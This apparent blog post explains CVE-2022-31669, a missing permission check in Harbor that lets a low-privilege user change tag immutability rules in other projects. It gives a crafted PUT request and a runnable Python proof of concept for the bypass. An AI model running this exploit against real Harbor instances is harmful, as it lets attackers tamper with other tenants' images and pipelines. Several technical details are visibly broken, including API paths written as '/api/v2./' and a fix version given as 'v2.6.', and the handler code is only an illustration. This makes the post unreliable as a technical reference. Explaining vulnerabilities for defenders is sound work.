When it comes to securing container images, Harbor is an open-source registry many organizations depend on for its advanced features, including tag immutability policies—rules that prevent image tags from being changed or deleted once set. But what if a bug allows someone to bypass those protections, even in projects they don’t own? In this post, we’ll break down CVE-2022-31669, explain how Harbor failed to check permissions when updating tag immutability policies, walk through the exploit, and show you code snippets so you can understand how this vulnerability works.
What Is CVE-2022-31669?
CVE-2022-31669 targets a critical security gap in Harbor (<=2.5.3). In short, Harbor didn't properly check if a user had access to a *project* before letting them update its tag immutability policy.
Here's the official NVD entry:
https://nvd.nist.gov/vuln/detail/CVE-2022-31669
According to VMware's advisory (link below), an attacker with *low privileges* could modify tag immutability policies in projects they shouldn’t touch.
Official advisory: https://github.com/goharbor/harbor/security/advisories/GHSA-v9m6-2jww-hc9p
Understanding Tag Immutability in Harbor
Tag immutability policies prevent images from being overwritten or deleted by accident or malice. They're a strong safety guard, especially in CI/CD pipelines.
Each project in Harbor can have its own tag immutability policy. Changing this policy could allow, or suddenly block, crucial operations. Only project admins should be able to change these rules.
The Core Bug: Missing Permission Check
When users send an API request to update a tag immutability policy, Harbor checks if the user is authenticated—but not if they actually have access to the project for the policy ID provided.
That means
- You (even as a low-permission user) can craft a request referencing a policy in a project you *don’t* have access to.
1. Gather a Valid Policy ID From Another Project
First, the attacker needs the id of a tag immutability policy in a target project. There are a few ways this could be found (it could be guessed, enumerated, or leaked by a misconfiguration).
Example policy listing endpoint
GET /api/v2./projects/{project_name}/immutabletagrules
// Requires permission to list, but enumeration might be possible through side channels or IDs in expected ranges
2. Craft the Update Request
Let’s assume the attacker has authenticated to Harbor (but does not have access to the victim’s project), and knows an immutability policy ID from that project (say, 123).
The attacker crafts a request
PUT /api/v2./immutablerule/123
Content-Type: application/json
Authorization: Bearer <attacker's_jwt_token>
{
"action": "immutable",
"template": "latest", // the attacker can set new values
"scope_selectors": {
"repository": [
{
"kind": "doublestar",
"pattern": "**"
}
]
}
}
What’s supposed to happen: Harbor should check if the user can administer the project with immutability rule ID 123.
What actually happened: Harbor just checks for a valid session, then updates the policy—regardless of project permissions!
Code Snippet: What Went Wrong?
The Harbor backend missed a vital authorization check. If you peek at the relevant source file, you’ll see the update handler:
// In handler/immutabletagrule.go
func (h *ImmutableTagRuleAPI) UpdateImmutableTagRule(c context.Context, id int64, policy *models.ImmutableTagRule) error {
// ... omitted for brevity ...
rule, err := h.immutableTagRuleMgr.Get(ctx, id) // Gets the rule by ID
if err != nil {
return err
}
// Expected: Check ctx user has action 'update' on rule.ProjectID
// MISSING: No permission check here!
err = h.immutableTagRuleMgr.Update(ctx, policy) // Blindly updates!
// ...
}
See the missing check? The handler gets the rule, but doesn’t verify the user’s rights over the associated ProjectID.
Here’s a simplified proof-of-concept using Python requests
import requests
BASE_URL = "https://harbor.example.com";
IMMUTABLE_RULE_ID = 123 # Found via leak, guess, or other flaw
JWT_TOKEN = "eyJ..." # Attacker's auth token
api_url = f"{BASE_URL}/api/v2./immutablerule/{IMMUTABLE_RULE_ID}"
headers = {
"Authorization": f"Bearer {JWT_TOKEN}",
"Content-Type": "application/json"
}
data = {
"action": "immutable",
"template": "latest",
"scope_selectors": {
"repository": [
{
"kind": "doublestar",
"pattern": "**"
}
]
}
}
response = requests.put(api_url, headers=headers, json=data)
print(response.status_code)
print(response.text)
Even without access to the project for ID 123, this request will update its tag immutability policy.
Impact
- Multi-tenant Harbor instances: Attackers can disrupt, sabotage, or enable modifications to others’ images.
- CI/CD pipelines: Could introduce malicious images or prevent rollbacks.
Mitigation & Fix
Patched Version: The bug is fixed in Harbor v2.6. and above. The update includes a permission check to confirm the user can manage the project associated with the policy ID.
References
- NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2022-31669
- VMware Advisory: https://github.com/goharbor/harbor/security/advisories/GHSA-v9m6-2jww-hc9p
- Harbor Source Code: https://github.com/goharbor/harbor/blob/main/src/server/v2./handler/immutabletagrule.go
- Patch diff: https://github.com/goharbor/harbor/pull/16575
Conclusion
CVE-2022-31669 is a reminder that proper permission checks are essential in every API. Even small oversights can ripple into major security holes, especially in shared, multi-user apps like Harbor.
If you run Harbor, upgrade immediately. And always double-check user permissions before letting anyone change critical project settings.
Stay safe—secure your images, and follow Harbor’s updates closely!
Timeline
Published on: 11/14/2024 12:15:16 UTC
Last modified on: 11/19/2024 15:20:01 UTC